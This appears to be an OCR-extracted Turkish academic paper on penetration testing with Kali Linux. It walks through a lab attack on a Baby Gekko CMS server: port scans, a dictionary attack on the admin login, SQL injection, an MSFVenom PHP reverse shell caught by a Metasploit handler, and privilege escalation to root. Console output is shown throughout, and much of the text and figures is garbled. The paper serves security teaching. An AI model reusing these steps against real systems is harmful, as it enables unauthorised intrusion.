performed using the penetration tools on Kali Linux. First, port scanning is
performed to detect open ports on the target system. With this scan, the active
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services in the system and the ports where these services are running are
determined. The next step is to obtain login information using a list of
username and password combinations. Password cracking with dictionary
attack is performed. Thus, the identification of accounts with weak passwords
is achieved. Unauthorized access to the database of the target system is
achieved by performing a SQL attack. With this attack method, an attempt is
made to infiltrate the database by targeting web applications with security
vulnerabilities. After accessing the database, sensitive data is accessed and
manipulated. Finally, full control of the target system is achieved by
performing privilege escalation. In this step, weak configurations are aimed
to detect vulnerabilities or authorization errors in the system. Consequently,
Kali Linux and penetration testing tools are an important tool for detecting
and resolving vulnerabilities in server systems. The results of the study show
the powerful capabilities of Kali Linux and penetration testing tools and their
effectiveness in determining potential vulnerabilities. Thus, system
administrators can use such tools to detect vulnerabilities and take the
appropriate actions by testing the systems they manage. In this study, it is
aimed to explain this importance and to show this in an experimental test
environment.

To Cite: Etik H, Can O., 2024. Siber giivenlikte kali linux ve sizma araglarin kullanimi. Kadirli Uygulamali Bilimler
Fakiiltesi Dergisi, 4(1): 210-226.

Giris

Giliniimiizde giivenlik agiklarmin tespit edilmesi ve kapatilimasi biiylik bir 6nem
tasimaktadir. Kurumlar ve bireyler; bilgisayar sistemlerini, aglarin1 ve uygulamalarini
potansiyel tehditlere kars1 korumak i¢in giivenlik testlerine ihtiya¢ duyarlar. Bu ihtiyaca cevap
veren sizma testi (penetrasyon testi), giivenlik agiklarmin belirlenmesi ve hedef sistemlere
yetkisiz erisim saglanarak gergeklestirilen saldir1 senaryolarini igerir.

Bu c¢alismada kullanilan Kali Linux, 6zel olarak sizma testi ve etik saldirilar igin
tasarlanmig bir Linux dagitimidir. Kali Linux igerisinde bir¢ok giivenlik aracit ve kaynak
bulundurur ve sizma testi siireglerinde kullaniciya esneklik ve gii¢ saglar.

Sizma testleri, bir organizasyonun veya bireyin sistemlerini giivenli hale getirmek i¢in
proaktif bir yaklagimi temsil eder. Bu testlerde, gercek diinya saldir1 senaryolarinin
gergeklestirilmesi ve potansiyel zayif noktalarin belirlenmesi hedeflenir. Kali Linux, glivenlik
testlerinde kullanilabilecek bir¢ok ara¢ sunar: Ag taramasi, zayif parola analizi, giivenlik agig1
taramalari, ag saldirilari, veritabani giivenligi, kablosuz ag giivenligi ve daha fazlasi gibi
alanlarda uzmanlasmis araglara erisim saglar.

Bu calismani kapsami sizma testi slireci, planlama, bilgi toplama, zafiyet taramasi,
saldir1 senaryolarinin olusturulmasi gibi temel adimlari icermektedir. Her adimin nasil
gerceklestirilecegi ve hangi araglarin kullanilacagi ayrintili bir sekilde agiklanmaktadir. Sizma
testleri, organizasyonlarin giivenlik politikalarini giincellemelerine ve potansiyel riskleri
azaltmalarma yardimci olmaktadir. Calismanin sonucglar1 da sizma testlerinin 6nemini ve

etkinligini vurgulamaktadir. Sizma testleri, hedeflenen sistemlerin giivenlik agiklarini tespit
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etmek ve bunlara kars1 6nlemler almak i¢cin 6nemli bir aragtir. Sizma testleri, bilgi giivenligi
konusunda stirekli bir c¢aba gerektiren ve tehditlere karsi savunma mekanizmalarini
giiclendiren bir disiplindir.

Calismada Kali Linux kullanarak gerceklestirilen bir sizma testi siireci detayli bir
sekilde sunulmaktadir. Calismada, Ubuntu 14.0 iizerinde calisan bir web sunucusu hedef
alinmig ve farkli sizma testi adimlart kullanilarak saldir1 senaryolar1 gergeklestirilmistir. Bu
adimlar arasinda port taramasi, parola kirma, SQL saldiris1 ve yetki yiikseltme gibi islemler
yer almaktadir. SQL saldirisi, bir web uygulamasinin arkasindaki veritabanina yonelik olarak
gerceklestirilen bir saldirt tiirtidiir. Yetki yiikseltme ise bir sisteme veya uygulamaya ait sinirl
bir erisim diizeyinin yetkisiz sekilde daha yiiksek bir seviyeye yiikseltilmesi islemidir.

Sizma testi siireci Kali Linux ve sizma testi araglarinin kullanimi {izerinde
odaklanmaktadir. Calismanin sonuglar1 sizma testlerinin 6nemini, giivenlik ac¢ikliklarini tespit

etmek ve gidermek icin bu tiir testlerin diizenli olarak yapilmasi gerektigini vurgulamaktadir.

Materyal ve Metod

Calismada, bes ana konu temel alinmaktadir. Bunlar, (i) hedef sistemde agiklik
barindiran bir web uygulamasi tespit etmek, (ii) parola saldiris ile admin (yonetici) parolasini
ele gegirmek, (iii) SQL saldirisi ile hedef sistemde sistem komutlar1 ¢aligtirabilmek, (iv) ters
baglant1 ile hedef sisteme baglanti saglamak ve (v) yetki yiikseltme ile sistemin ele
gecirilmesi seklindedir. Biitiin bu asamalar ve gergeklestirilen saldirilarin olay akis semasi
Sekil 1°de blok diyagrami olarak verilmistir.

Calismada temel alinan saldirilar asagidaki gibidir:

Ac¢tklik Arama: Bagl bulunulan ag icerisinde herhangi bir agiklik barindiran bir web
uygulamasi tespit edilmeye ¢aligtimustir. Tlgili islem igin Kali Linux tarafindan hazir gelen ag
taramasi i¢in kullanilan Netdiscover aract komutu ile arama islemi yapilmistir. Ag icerisinde
tespit edilen bir IP Nmap aract kullanilarak port taramasi islemi uygulanmistir. Yapilan
tarama islemleri sonrasi elde edilen bilgilerin internet yardimiyla herhangi bir agik barindirip
barmndirmadigi kontrol edilmistir.

Parola Saldirisi: Agiklik taramasinda tespit edilen bir web sayfasi admin girisine
parola saldirist gerceklestirilerek parola kirma islemi gergeklestirilmistir. Uygulanan islem
icin Kali Linux tarafindan hazir gelen CEWL (Cewl, 2024) ve John The Ripper (Ripper,
2024) araglar1 ile bir parola sozligii olusturulup bu sézlik OWASP (OWASP, 2024)

uygulamasi ile kaba kuvvet uygulanarak web sayfasi admin giris parolasi tespit edilmistir.
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SOL Saldirisi ve Ters Baglanti Saldirisi: Saldir1 kapsaminda, admin sayfasina giris
yapabildigimiz web sunucusu iizerinde PHP ve SQL enjeksiyonu yaparak sayfa iizerinde
sistem komutlarini calistirmasi saglanmustir. islem sonrasi bir adim 6teye gidilerek ters
baglant1 islemi, MSFVenom araci ile payload olusturulup bunu Netcat iizerinden yiiklenerek
hedef sistem iizerinden baglant1 saglanmistir. Burada yapilan islemler bir sonraki boliimde

detayl bir sekilde anlatilmistir.

Saldin isleminde
kullamlacak Kali Linux

Tarama iglemlerin degerlendirilemesi

Ag uzerinde agikhk
tarama iglemleri

sonucu

Sozluk atak saldin i€
sifre kirma islemi

v v

Basaril Basanl

[ Olumlu aciklik tarama ]

<o >

-

T

Yetki yilkseltme islemi [ Tuam sistemin ele gegirilmesi ]

Y

Basanh

Sekil 1. Kali Linux ile hedef sisteme saldir1 akis semasi

Yetki Yiikseltme ve Sistemin Ele Gegirilmesi: Senaryoda, hedef sisteme baglanti
gergeklestirildikten sonra baglanilan sistemde yetki yiikseltme islemi (local privilege
escalation exploit) agig1 taramasi yapilmaktadir. Isletim sistemine o6zgii bulunan agik
Meterpreter araci kullanilarak yetki yiikseltme islemi gerceklestirilmekte ve hedef sistem ele
gecirilmektedir.

Literatiirde, bu konuyla ilgili bir¢ok arastirma, makale ve kaynak bulunmaktadir. Kali
Linux, ac¢ik kaynakli bir Linux tabanli isletim sistemidir ve icerisinde bir dizi sizma testi araci

barindirmaktadir. Kullanilan araclar, ag giivenligi agiklarini tespit etmek, zayif noktalar
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analiz etmek ve potansiyel saldir1 senaryolarin1 degerlendirmek i¢in kullanilmaktadir (Cisar
ve Pinter, 2019; Kissi ve Asante, 2020).

Literatiirdeki ¢aligmalar genellikle Kali Linux'in kullanimini, sizma testi adimlarini ve
araglarinin yeteneklerini ve sizma testi siirecinin planlanmasi, hedef sistemlerin belirlenmesi,
saldir1 senaryolarinin olusturulmasi, giivenlik agikliklarmin kesfedilmesi ve raporlama gibi
adimlart kapsamaktadir. Yapilan caligmalar, sizma testi siirecinin etik ve profesyonel bir
sekilde yapilmasinin 6nemini vurgulamakta ve giivenlik agikliklarinin tespit edilmesi ve
giderilmesi i¢in sizma testlerinin yaygin olarak kullanilmasi gerektigini savunmaktadir
(Gunawan ve ark., 2018a; Gunawan ve ark., 2018b). Ayrica, ger¢ek diinya senaryolarinda
genellikle Kali Linux ve sizma testi araglarinin etkinligi ve verimliligi degerlendirmektedir.
Bu calismalar, farkli ag yapilari, web uygulamalari, sunucular ve mobil cihazlar gibi g¢esitli
hedef sistemler {lizerinde sizma testi senaryolar1 gergeklestirerek, giivenlik acikliklarinin ve
zay1f noktalarin tespit edilmesi konusunda 6nemli bir bilgi saglamaktadir.

Sonug olarak, Kali Linux ve kullanilan sizma araglar1 hakkinda yapilan aragtirmalar,
bilgisayar giivenligi ve siber giivenlik alaninda 6nemli bir yer tutmaktadir. Arastirmalar,
sizma testi silirecinin Onemini vurgulamakta, giivenlik acikliklarinin tespit edilmesi ve
giderilmesi icin bu tiir araglarin etkin kullanimin1 desteklemekte ve giivenlik uzmanlarina
rehberlik etmektedir (Sentiirk, 2018).

Calismamizda, ti¢ farkli saldiri tiiri kullanilarak hedef sistem ele gecirilmektedir.
Bunlar sirasiyla parola saldirisi, SQL  saldirist  ve yetki ylikseltme seklinde
gerceklestirilmektedir.

Parola saldirisi, bir sistemde kullanilan parolalar1 kesfetmek veya ¢almak amaciyla
gerceklestirilen bir saldir tiirtidiir. Literatiirde parola saldirilar1 ve bunlarin 6nlenmesi {lizerine
cesitli caligmalar mevcuttur. Caligmalar, glivenli sifreleme algoritmalari, parola karmasikligi
politikalar1 ve giivenli kimlik dogrulama yontemleri gibi konulari igermektedir (Lu ve Yu,
2021).

SQL saldirisi, kullanicinin girislerini manipiile ederek veya kotii niyetli SQL ifadeleri
kullanarak veritabanina yetkisiz erisim saglamay1 hedeflemektedir. SQL saldirilari, giivenlik
acikliklarinin oldugu web uygulamalarinda yaygin olarak goriilmektedir. Saldirilar, veritabani
sistemlerinin zayif dogrulama veya sorgu isleme mekanizmalarindan yararlanmaktadir. Yetki
yiikseltme, bir sistemin veya uygulamanin giivenlik mekanizmalarindaki hatalardan veya
zayif yapilandirmalardan yararlanarak gerceklestirilebilmektedir. Yetki yiikseltme saldirilari,
sistemin koruma mekanizmalarini asarak yonetici veya root diizeyinde erisim elde etmeyi

hedeflemektedir. Literatiirde, yetki yiikseltme saldirilari, giivenlik agikliklari, ayricalik
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ayristirmasi ve kullanici yetkilendirme konularinda farkli caligmalar bulunmaktadir (Vouteva,
2015).

Bu c¢alisma, parola saldirilari, SQL saldirilar1 ve yetki yiikseltme gibi giivenlik
acikliklarina yonelik olarak Kali Linux ve sizma testi araglarinin kullanimini i¢ermektedir. Bu
konular tizerine bir¢ok ¢alisma ve kaynak bulunmasina ragmen, ¢alismamizda mevcut bilgi
birikimini bir araya getirerek, Kali Linux'un benzer saldirilarda nasil kullanilabilecegi

konusunda pratik bir bakis sunmaktadir.

Deneysel Calismalar

Saldirt islemleri sirasinda sadece Kali Linux ve onunla birlikte gelen araglar
kullanilmigtir. Ag igerisinde bir agiklik arama islemine baslamadan 6nce Kali Linux’una ait
makinenin IP adresinin tespit islemi gériilmektedir (Sekil-2).

(base) ~

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
255.255.255.0 broadcast 192.168.0.255
9 60fb prefixlen 64 scopeid 0x20<link>
ether 08:00:27: 6 txqueuelen 1000 (Ethernet)
packets 103 64 (7.9 KiB)
errors @ dro verruns @ frame @
packets 42 Dby (5.1 KiB)
errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors © dropped ® overruns @ frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Sekil 2. Kali Linux IP tespiti

Elde edilen IP adresinden bulunan aga ait tim IP adreslerinin taramasinin yapilacagi

netdiscover komutu ¢alistirilmistir (Sekil-3).

~

192.168.0.0/24]

Sekil 3. Netdiscover ile ag tarama komutu

Bu tarama sonucunda ag iizerinde bulunan aktif IP’ler tespit edilmistir. Tespit edilen

IP’ler sunulmaktadir (Sekil-4).
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Currently scanning: Finished! Scr View: Unique Host

5 Captured ARP Req/Rep packets, from 5 hosts. Total
MAC Address Count MAC Vendor / Hostname

Castlenet Technology Inc.
PCS Systemtechnik GmbH
TP-Link Corporation Limited
Dell Inc.

Unknown vendor

e e
h o h

0 00 00

[~ =]

(=]
[ws]

Sekil 4. Netdiscover ile ag taramasi sonuglari

Bir sonraki adim bu IP’ler iizerinde port aramasi yapilarak herhangi bir web sunucu
olup olmadigini tespit etmektir. Bu islem i¢in Nmap araci kullanilmistir. Bu ara¢ kullanimi ve

elde edilen sonug gosterilmektedir (Sekil-5).

(base) :
A 192.168.0.12
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 08:32 EDT
Nmap scan report for 192.168.0.12

Host is up (0.00017s latency).

Not shown: 999 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| _http-generator: Gekko Web Builder / Baby Gekko CMS / gekkocms
| _http-server-header: Apache/2.4.7 (Ubuntu)

| _http-title: btrisk - Welcome to Baby Gekko Demo

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Sekil 5. Nmap ile port taramasi ve sonuglari

Tarama islemi sonucunda ag tizerinde 192.168.0.12 IP ile bir Baby Gekko isimli web
sunucusu oldugu goériilmektedir. Tespit edilen IP bir internet tarayici iizerinde acildiginda 6n

tanimli kurulumda birakilmig bir CMS uygulamasi goriilmektedir (Sekil-6).
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* Sample Logo

Super Duper!

Popular News

B
a 2

Sekil 6. CMS uygulamasi

Tarama islemi sonucu bulunan bu uygulamaya ait agikliklarin olup olmadig: Searchploit
araci ile aranmaktadir. Bu arama sonucuna gore ilgili uygulamaya ait giivenlik aciklari

listelenmektedir (Sekil-7).

/home/kali
baby gekko

Exploit Title

CMS 1.1.5c - Multiple Persistent Cross-Site Scripting Vulnerabilities
1.2.2e - Multiple Vulnerabilities

Shellcodes: No Results

Sekil 7. Searchploit arama sonucu

Bir sonraki adimda Nikto uygulamasii kullanarak ilgili web sayfasina ait bir admin
girisi bulunup bulunmadigimin tespit edilmesi saglanmistir. Nikto uygulamasinin sonucuna

gore /admin link uzantisi ile bir admin giris sayfast oldugu goriilmektedir (Sekil-8).
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(base)

Nikto

* ko

(GMT-4)

header: PHP/5.5.9-lubuntu% -
Frame-Options heade is not p ent. ee: https:
s header is not . This could allow the user

ko

5bdd5615c52a0f 5 without the httpo
found (u '-C " to : all sible dirs)
found in the "location € er. The IP is "127.0.1.1".
er may re 1 L or real IP in
: at least Apache/
without th
HTTP methods
sword=tes phpAuct

S A N

reated without the httponl)
interesting.
xing found.
t be interesting.
might = interesting.
i found.

ndex.php: This migh i resti ) 1 from an un
Apache def file f - : t = pache-re
in.php: Admin 1 i

) This file contains
@ error( i [ reported on remot
End Time: 20 ) X ( ) (15 seconds)

.
+

.
+
+
+
+
+
+
+
+
+
+
+
+
+
+

Sekil 8. Nikto arama sonucu

Ilgili IP’nin devaminda Nikto uygulamasi ile bulunan admin link uzantis1 eklenerek
olusturulan link web tarayicis1 lizerinden acgilmaktadir. Link agildiginda Sekil 9°da sunulan

admin sayfasina ulasilmaktadir.

¢ G A Notsecure | 192168012,

Content Management Administration

{ usermame

(pqwdunlt )

[r——— wpLogin

Sekil 9. Web sunucu admin sayfasi

Admin sayfasina ulasildiktan sonra bir sonraki islem olarak bu sayfay1 Kali Linux’un

sundugu ¢esitli parola saldirt araglarini kullanarak parolayi ele gecirmektir. Yapilan islemlerin
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ilki icin CEWL kullanilmistir. Bu arac ilgili sayfadaki verileri kullanarak olas1 kelimelerden
bir parola s6zligi olusturmaktadir. S6zIigii genisletmek i¢in John The Ripper uygulamasi ile
farkl algoritmalar kullanilarak olasi parola ihtimalini arttirma islemi gerceklestirilmektedir.
Avraglar ile olusturulan parola listesi sekil tizerinde goriilmektedir (Sekil-10).

/home/kali

168.0,12 > passwordlist, txt

/home/kali
passwordlist. txt
obin Wood (robinddigi.ninja

[home/kali

Sekil 10. CEWL ve John The Ripper uygulamasi ile olusturulan parola listesi

Parola listesini kullanabilmek icin bir atak proxy kullanilmas1 gerekmektedir. Islem icin
Kali Linux’un sagladigit OWASP uygulamasi kullanilmaktadir. Yapilan uygulama ile web
sayfasinin admin kismina baglanildiktan sonra parola listesindeki parolalarin teker teker
OWASP uygulamasinin hedeflenen web sayfasina

denenmesi gergeklestirilmektedir.

baglantis1 gosterilmektedir (Sekil-11).

Online
= = 1 1 1

Tools Import  Export Help

File Edit View Report

el

Analyse

Standard Mode = L. (7| 1 ol b -

@ Sites -+ %= Response v Requester
@ 9 B = +F Quick Start = Request
@ Sites Header: Text Body: Text ] =
N GET http://192.168.@.12/contacts HTTP/1.1
Mw GET:/ Host: 192.168.@.172
W blog User-Agent: Mozil Fire. .. el
W contacts ; IV:1@e5.8) Gecko Open URL in Systern Browser
o W GET:favicon.lco & Fuz=z...
[l asl Fun application
o images £l
o s GET: robots.txt I Open/Resend with Request Editor. ..
= History @ Search P Alerts Output e Spider . i L !
Open LURL in Browser
» .. Progress:| O: http://192,168.0,12 B Currer
Syntax
Sent Messages Flltered Messages WView
Id Req, Time.,,, Resp, Tirm..., Me, LRL ; el r
422 6/4/23, 5:... 6/4/23, 9: GET htep://192.168.0.12/con . i
423 6/4/23, S . 6/4/23, GET http://192.168.0.12/htrr| ! .
424 6/4/23, S &/4/23, GET http://192.168.0.12/htrr] it tr
425 &6/4/23, 9:... &6/4/23, GET httpi//192,.168.0,12/htrr I .
426 &5/4/23 . B/4/23, GET http: /192 . 168.0.12/htrr
427 /Kl/ai?3 SAAI2 3 GET bttt i1 1AR 0 12 Mt ' .
Alerts 0O M s Ml Main Proxy: localhost:BO8B(0 Qurrent Sc I
Select All Cerl+ A
Open In Requester Tab. .. CErl 4+ W
Save Raw
Sawve XML
Sve Selected Entries as HAR (HT TP Archive File)

Sekil 11. OWASP ile hedef siteye baglantinin gergeklestirilmesi
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Uygulama iizerinden daha oOnce elde edilen parola listesi paylasilarak admin
sayfasinda parolalarin denenmesi otomatik olarak gerceklestirilmektedir. Yapilan islem
sirasinda; web sunucusundan dogru parola durumunda gonderilen “302 found” cevabi

goriilmektedir (Sekil-12). Boylelikle, admin sayfasinin parolasi elde edilmis olmaktadir.

Analyse Report Tools Import Export Online Help

CF - R0~ 1- & &

Quick Start

Standard Mode & »
@Skes +
Invalid username/password © = Response Reques!

 abdad Header: Text Body: Text

GET:/
HTTP/1.1 302 Found

';-* ii\t‘ll\.l":]t‘ w GET:images
! Date: Sun, @4 Jun 2023 14:29:10 GMT
s server: Apache/2.4.7 (Ubuntu)
password. » POSTiindex php()(_c¢  x.powered-By: PHP/S.5.9-1ubuntud.20
Expires: Sat, 26 Jul 2000 05:00:00 GM
w GET:templates acha_Cantrals an-etave. . nnersche m
"

=pLogin
templates

)
» GET:admin ot

head
= History \Search M Alerts Output ¥ Spider @ Fuzzer # +

@ New Fuzzer Progress: 3. HTTP - http://192.168..admin/index.php | &

Messages Sent: 398 Errors: O

Hig State

R... Size Resp, He ize F
359 bytes 7.2

1... 359 bytes
2... 359 bytes
2

359 bytes
359 bytes

Sekil 12. OWASP ile hedef site admin parolasinin tespiti

Gergeklestirilen uygulama agik taramasi isleminde bulunan agiklardan biri olan ve Sekil
6’da sunulan SQL enjeksiyon a¢ig1, admin sayfasina erisim saglandiktan sonra uygulanabilir

bir duruma gelmektedir. Ilgili SQL denemesi uygulandiginda islemin etkili oldugu
gortilmektedir (Sekil-13).

& C A Notsecure | 192.168.0.12/admin/index.php?app=users&ajax=1&action=search&keyword=1%27)%2(

{"status":200,"data":[]}

Sekil 13. Tarayici {izerinden yapilan test enjeksiyonu

Boylelikle, web wuygulamasi {izerinde yapilan enjeksiyonun basarili oldugu
goriilmektedir. Bir sonraki adim olarak web sunucu tarafindan Netcat ile TCP portundan
gelen veri dinlenmekte ve gelen veriyi reverse.php dosyasina aktaracak bir komut
calistirilmaktadir. Sunucu iizerine yollanacak ters baglantiyi saglayacak PHP dosyasi
MSFVenom uygulamasi ile olusturulmaktadir (Sekil-14). Uygulanan islemden sonra, saldiriy1

gergeklestiren bilgisayarda olusturulan PHP payload’u hedef bilgisayara aktarilmaktadir.
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/home/kali
192.168.0.12 1234 payload. txt
192.168.0.12: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.12] 1234 (?) open

sent 1113, rcvd 0

/home/kali

Sekil 14. MSFVenom ile ters baglanti PHP dosyasi olusturma

Ters baglanti ile web sunucusu Tlzerinden atak bilgisayara baglanti saglanmasi
amaclanmaktadir. Olusturulan reverse.php dosyasin1 sunucuya yiikledikten sonra web
tarayicist iizerinden 192.168.0.12/reverse.php komutu ile aktif edilmesi gerekmektedir.
Boylelikle, ters baglanti sunucu tarafindan saldir1 bilgisayarina dogru baglatilmaktadir.

Atak yapilan bilgisayar tarafindan Msfconsole uygulamasi iizerinden baglanti

saglanarak hedef bilgisayara baglanti islemi gergeklestirilmektedir (Sekil-15).

/home/kali

ploit!

=[ metasploi .3.16-dev
+ — —=[ 2315 exploits - 1208 auxiliary - 412 post
+ — —=[ 975 payloads - 46 encoders - 11 nops
+ — —=[ 9 evasion

Metasploit tip: Display the Framework log using the
command, learn more with 1
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD
) = generic/shell_reverse_tcp
xploit( ) > set PAYLOAD php/meterpreter/reverse_tcp
= php/meterpreter/reverse_tcp
mst6 ) > set LHOST 192.168.0.12
LHOST = 192.168.0.12
msf6 exploit( ) SET LPORT 4444
Unknown command: SET
msf6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > run

Handler failed to bind to 192.168.0.12:4444:~- -~

Started reverse TCP handler on 0.0.0.0:4444

Sending stage (39927 bytes) to 192.168.0.12

Meterpreter session 1 opened (192.168.0.11:4444 — 192.168.0.12:44667) at 2023-06-04 13:55:39 -0400

meterpreter > [J

Sekil 15. Msfconsole uygulamasi ile sunucu baglantisi (ters baglant1 yontemi)
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Baglant1 saglandiktan sonra hedef sistem {izerinde gerekli degisiklikler yapilarak ele
gecirme islemi gerceklestirilmektedir. Hedef sistemde yapilan baglantida root yetkili olarak
baglanip baglanilmadigi kontrol edilmektedir. Yapilan yetki sorgulamasinda root yetkisine
sahip olunmadig1 Sekil 16’da gosterilmektedir.

Ters baglant1 saglanan hedef sunucuda root yetkisi olmadigi durumlarda yapilacak
islemler kisithh olacagi icin saglanan baglantinin tam yetkili olmasi gerekmektedir. Tam
yetkiyi ele gecirmek igin hedef sistemin isletim sistemi hakkinda bilgi edinilmeli ve yetki
yiikseltme isleminin gerceklestirilmesi i¢in kullanilan isletim sisteminin agiklar1

incelenmelidir.

Metasploit tip: Display the Framework log using the
¢ command, learn more with
Metasploit Documentation: https://docs.metasploit.com/

msfé6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD
PAYLOAD = generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD = php/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.0.12
LHOST = 192.168.0.12
msf6 exploit( ) > SET LPORT 4444
Unknown command: SET
msfé6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > run

Handler failed to bind to 192.168.0.12:4444:- -

Started reverse TCP handler on 0.0.0.0:4444

Sending stage (39927 bytes) to 192.168.0.12

Meterpreter session 1 opened (192.168.0.11:4444 — 192.168.0,12:44667) at 2023-06-04 13:55:39 -0400

meterpreter > clear
Unknown command: clear

meterpreter > cls
Unknown command: cls

meterpreter > whoami
Unknown command: whoami

meterpreter > shell

Process 2099 created.

Channel @ created.

whoami
www-data

uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/*x-release

DISTRIB_ID=Ubuntu

DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu”

VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu

ID_LIKE=debian

PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"

HOME_URL="http://ww .ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

Sekil 16. Metasploit iizerinde sunucu baglantisi

Calismada hedef sistem olarak Kernel versiyonu Linux Ubuntu Kernel 3.13.0-32-

generic olan Ubuntu 14.04 versiyonu kullanilmaktadir. Calismada uygulanan sistemde yetKi
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yiikseltme i¢in osf 64 uygulamasi oldugu tespit edilmistir. Uygulamamizda; Metasploit
Meterpreter ilizerinden yiiklendiginde root kullanicisi olarak tam yetki sahibi
olunabilmektedir. Uygulanan islem sonrasinda tiim hedef sistemi ele gegirilmis olmaktadir.
Boylelikle, tam yetkili olarak hedef sistem {izerinde her tiirlii degisikligi ve islemi yapabilme

kabiliyeti kazanilmaktadir.

Calisma Sonucunda Elde Edilen Bulgular ve Tartisma

Kali Linux ve sizma testi araglarmin kullanimi, siber gilivenlik alaninda parola
saldirilari, SQL saldirilart ve yetki yiikseltme gibi giivenlik acikliklarinin tespiti ve
onlenmesinde 6nemli bir rol oynamaktadir. Calismamizda, sizma testlerinin énemi ve bu
testlerin diizgiin bir sekilde gergeklestirilmesinin kritikligi vurgulanmakta, Kali Linux ve
sizma testi araglar1 kullanilarak sizma testi siirecinin temel adimlari, ilgili adimlarin
planlanma siireci ve hedeflenen sisteme yonelik saldirt senaryolarinin gerceklestirilmesi
gosterilmektedir.

Sizma testlerinin etik kurallara uygun sekilde yapilmasi, hedeflenen sistemlere zarar
vermek yerine giivenlik agikliklariin ortaya ¢ikarilmasini hedeflemektedir. Caligmamizda,
sunulan deneysel gosterimler ve sizma testleri etik ve yasal konular dikkate alinarak yalnizca
yasal izinler dahilinde ve hedef sistem sahibinin izniyle gergeklestirilmelidir ve sunulan
saldir1 senaryolar1 ve kullanilan araglar, sadece sizma testi amagli olarak belirlenen sistem
iizerinde kullanilmalidir. Ayrica, sizma testlerinin sonuglart ve bulgulari, hedef sistemin
yonetici ve ilgili giivenlik ekipleriyle paylasilmalidir. Boylelikle, giivenlik agikliklar: tespit
edilebilir ve gelecekteki saldirilara karsi etkili 6nlemlerin alinmasi saglanabilir.

Sizma testlerine ek olarak; sifreleme, giivenlik duvari kurallari, erisim kontrolleri ve
diger gilivenlik Onlemleri gibi Onleyici giivenlik Onlemlerinin de O6nemli oldugu
unutulmamalidir. Bu Onlemler, potansiyel saldirilarin  engellenmesine ve sistemin
giivenliginin artirtlmasina yardimci olmaktadir (Altulaihan ve ark., 2023). Parola saldirilari,
genellikle oturum agma bilgilerini ele gegirme veya yetkisiz erisim elde etme amaciyla ve
Brute Force saldirilari, sozlik saldirilari, karma tablosu saldirilari gibi yontemlerle
gergeklestirilmektedir.

Sonug olarak, Kali Linux ve sizma testi araglarinin kullanimi siber giivenlik alaninda
calisan uzmanlar i¢in 6nemli bir yere sahiptir. Ancak, bu araglarin dikkatli ve etik bir sekilde
kullanilmas1 gerekmektedir. Sizma testlerinin amaci, gilivenlik agikliklarini belirlemek ve
sistemlerin giivenligini artirmaktir. Sizma testlerinin yasal ve etik kurallara uygun olarak

gergeklestirilmesi ve sonuglarin dogru sekilde degerlendirilmesi biiylik 6nem tagimaktadir.
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Sistem gilivenligi, giincel ve gilivenli yazilimlarin kullanilmasi, zayif noktalarin diizenli
olarak tespit edilmesi ve uygun dnlemlerin alinmasi ile saglanabilir. Sizma testleri, sistemlerin

giivenlik agiklarimi belirlemek ve agiklar1 kapatmak icin etkili bir yontemdir. Boylelikle,

sistem yoneticileri ve gilivenlik uzmanlar

sistemlerindeki gilivenlik aciklarini tespit

edebilmekte ve gerekli onlemleri alarak sistemlerinin giivenligini arttirabilmektedir.

Tablo 1. OWASP en 6nemli 10 web uygulamasi giivenligi riskleri

Siralama Risk Ag¢iklama
1 Enjeksiyon (Injection) Koétii niyetli kullgmcﬂarm veri tabgmna veya kpmuta girmesine
izin veren hatal1 giris denetimi
2 I?éilé(kgn,&ﬂfhgrﬁiggtli)?? Kimlik dogrulama ve oturum yonetimi zafiyetleri
Hassas Veri Agiga
3 (Ser%:;;ilrgllgata Hassas verilerin gereksiz yere agiga ¢ikmasi veya korunmamasi
Exposure)
XML Harici Varlik
4 Saldirist K&t amagli XML dokiimanlar kullanarak saldir1 yapma
(XML External Entity, yetenegi
XXE)
5 Kirik Erisim Denetimi Kullanicilarin yetkilendirmeden kagma veya yetkilerini
(Broken Access Control) yiikseltme riski
6 Yap?l{:l?éilsrrigiggguri ty Uygulama, sunucu veya veritabanl.yanhs yapilandirildiginda
. . . ortaya cikan riskler
Misconfiguration)
Siteler Arasi Betik
7 Calistirma Kotii niyetli kodlarin tarayicilarda ¢alismasina izin veren hatali
(Cross-Site Scripting, giris denetimi
XSS)
Giivensiz Serilestirme
8 (Insecure Serilestirme isleminin giivensiz kullanilmasi sonucu olugan risk
Deserialization)
Bilinen Giivenlik
Agiklari Bulunan
9 Bilesenlerin Kullanilmasi ~ Giivenlik agiklar1 igeren {iglincii taraf bilesenlerin kullanilmasi
(Using Components with
Known Vulnerabilities)
Yetersiz Gilinliikleme ve
10 Izleme Olaylarin ve hatalarin yeterince giinliiklenmemesi veya
(Insufficient Logging & izlenmemesi
Monitoring)

